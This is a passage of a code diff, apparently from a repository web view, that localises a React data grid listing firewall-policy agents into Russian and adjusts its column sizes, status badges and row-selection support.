||||
},
|
||||
{
|
||||
id: 'default_action',
|
||||
size: 100,
|
||||
minSize: 90,
|
||||
maxSize: 120,
|
||||
size: 130,
|
||||
minSize: 120,
|
||||
maxSize: 150,
|
||||
accessorFn: (row) => row.default_action,
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Default" />
|
||||
<DataGridColumnHeader column={column} title="Политика" />
|
||||
),
|
||||
cell: ({ row }) => {
|
||||
const drop = row.original.default_action === 'drop'
|
||||
@@ -174,19 +184,19 @@ export function AgentFleetDataGrid({
|
||||
size="sm"
|
||||
radius="full"
|
||||
>
|
||||
{drop ? 'Drop' : 'Accept'}
|
||||
{drop ? 'Блокировать' : 'Пропускать'}
|
||||
</Badge>
|
||||
)
|
||||
},
|
||||
},
|
||||
{
|
||||
id: 'apply',
|
||||
size: 100,
|
||||
minSize: 90,
|
||||
maxSize: 120,
|
||||
size: 110,
|
||||
minSize: 100,
|
||||
maxSize: 130,
|
||||
accessorFn: (row) => row.last_apply_status ?? '',
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Apply" />
|
||||
<DataGridColumnHeader column={column} title="Применение" />
|
||||
),
|
||||
cell: ({ row }) => {
|
||||
const a = row.original
|
||||
@@ -199,7 +209,7 @@ export function AgentFleetDataGrid({
|
||||
}
|
||||
>
|
||||
<Badge variant="destructive-light" size="sm">
|
||||
error
|
||||
Ошибка
|
||||
</Badge>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent className="max-w-sm">
|
||||
@@ -211,9 +221,10 @@ export function AgentFleetDataGrid({
|
||||
if (!a.last_apply_status && !a.last_apply_at) {
|
||||
return <DataGridMutedCell>—</DataGridMutedCell>
|
||||
}
|
||||
const status = a.last_apply_status ?? 'ok'
|
||||
return (
|
||||
<Badge variant="secondary" size="sm">
|
||||
{a.last_apply_status ?? 'ok'}
|
||||
{status === 'applied' ? 'Применено' : status}
|
||||
</Badge>
|
||||
)
|
||||
},
|
||||
@@ -226,13 +237,13 @@ export function AgentFleetDataGrid({
|
||||
accessorFn: (row) =>
|
||||
agentTrafficDropped(row) + agentTrafficAccepted(row),
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Traffic" />
|
||||
<DataGridColumnHeader column={column} title="Трафик" />
|
||||
),
|
||||
cell: ({ row }) => {
|
||||
const a = row.original
|
||||
const hasApply = agentHasTrafficSample(a)
|
||||
const dropped = formatPackets(agentTrafficDropped(a), hasApply)
|
||||
const accepted = formatPackets(agentTrafficAccepted(a), hasApply)
|
||||
const dropped = hasApply ? formatPackets(agentTrafficDropped(a)) : '—'
|
||||
const accepted = hasApply ? formatPackets(agentTrafficAccepted(a)) : '—'
|
||||
if (dropped === '—' && accepted === '—') {
|
||||
return <DataGridMutedCell>—</DataGridMutedCell>
|
||||
}
|
||||
@@ -247,39 +258,44 @@ export function AgentFleetDataGrid({
|
||||
},
|
||||
{
|
||||
accessorKey: 'last_seen_at',
|
||||
size: 140,
|
||||
minSize: 120,
|
||||
maxSize: 180,
|
||||
size: 150,
|
||||
minSize: 130,
|
||||
maxSize: 190,
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Seen" />
|
||||
<DataGridColumnHeader column={column} title="Активность" />
|
||||
),
|
||||
cell: ({ row }) => {
|
||||
const a = row.original
|
||||
const short = formatAgentSeen(a.last_seen_at)
|
||||
if (!a.last_seen_at || short === '—') {
|
||||
if (!a.last_seen_at) {
|
||||
return <DataGridMutedCell>—</DataGridMutedCell>
|
||||
}
|
||||
return (
|
||||
<DataGridPrimaryCell
|
||||
accent="default"
|
||||
title={short}
|
||||
subtitle={a.last_seen_ip ?? undefined}
|
||||
className="[&>span:first-child]:text-xs [&>span:first-child]:font-normal [&>span:first-child]:tabular-nums"
|
||||
/>
|
||||
<div className="flex min-w-0 items-center gap-2">
|
||||
<AgentOnlineDot agent={a} />
|
||||
<DataGridPrimaryCell
|
||||
accent="default"
|
||||
title={formatRelativeTime(a.last_seen_at)}
|
||||
subtitle={a.last_seen_ip ?? undefined}
|
||||
className="[&>span:first-child]:text-xs [&>span:first-child]:font-normal"
|
||||
/>
|
||||
</div>
|
||||
)
|
||||
},
|
||||
},
|
||||
{
|
||||
id: 'gen',
|
||||
size: 70,
|
||||
minSize: 60,
|
||||
maxSize: 90,
|
||||
size: 110,
|
||||
minSize: 100,
|
||||
maxSize: 130,
|
||||
accessorFn: (row) => row.policy_generation,
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Gen" />
|
||||
<DataGridColumnHeader column={column} title="Поколение" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground text-xs tabular-nums">
|
||||
<span
|
||||
className="text-muted-foreground text-xs tabular-nums"
|
||||
title="Версия применённой политики — растёт при каждом apply"
|
||||
>
|
||||
{row.original.policy_generation}
|
||||
</span>
|
||||
),
|
||||
@@ -300,7 +316,7 @@ export function AgentFleetDataGrid({
|
||||
<Button
|
||||
size="icon-sm"
|
||||
variant="ghost"
|
||||
aria-label="Approve"
|
||||
aria-label="Утвердить"
|
||||
disabled={approvePending}
|
||||
onClick={(e) => {
|
||||
e.stopPropagation()
|
||||
@@ -314,7 +330,7 @@ export function AgentFleetDataGrid({
|
||||
<Button
|
||||
size="icon-sm"
|
||||
variant="ghost"
|
||||
aria-label="Copy install"
|
||||
aria-label="Скопировать команду установки"
|
||||
onClick={(e) => handleCopy(a.install_curl!, e)}
|
||||
>
|
||||
<Copy className="size-3.5" />
|
||||
@@ -348,7 +364,7 @@ export function AgentFleetDataGrid({
|
||||
},
|
||||
},
|
||||
],
|
||||
[approvePending, handleCopy, onApprove, onDelete, onSelect],
|
||||
[approvePending, handleCopy, onApprove, onDelete, onSelect, enableRowSelection],
|
||||
)
|
||||
|
||||
return (
|
||||
@@ -369,6 +385,10 @@ export function AgentFleetDataGrid({
|
||||
getSearchText={getSearchText}
|
||||
tableLayout={{ width: 'fixed', columnsResizable: true }}
|
||||
onRowClick={(row) => onSelect(row.id)}
|
||||
enableRowSelection={enableRowSelection}
|
||||
rowSelection={rowSelection}
|
||||
onRowSelectionChange={onRowSelectionChange}
|
||||
selectionToolbar={selectionToolbar}
|
||||
tabs={tabs}
|
||||
activeTab={activeTab}
|
||||
onTabChange={onTabChange}
|
||||
@@ -378,10 +398,11 @@ export function AgentFleetDataGrid({
|
||||
error={error}
|
||||
onRetry={onRetry}
|
||||
toolbarExtra={toolbarExtra}
|
||||
filteredEmptyMessage={filteredEmptyMessage}
|
||||
emptyState={{
|
||||
title: 'Нет агентов',
|
||||
description:
|
||||
'Создайте агента — он появится в списке как Invited с командой установки.',
|
||||
'Создайте агента — он появится в списке со статусом «Приглашён» и командой установки.',
|
||||
action: emptyAction,
|
||||
}}
|
||||
/>
|
||||
|
||||
Loaded 100 of 220 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user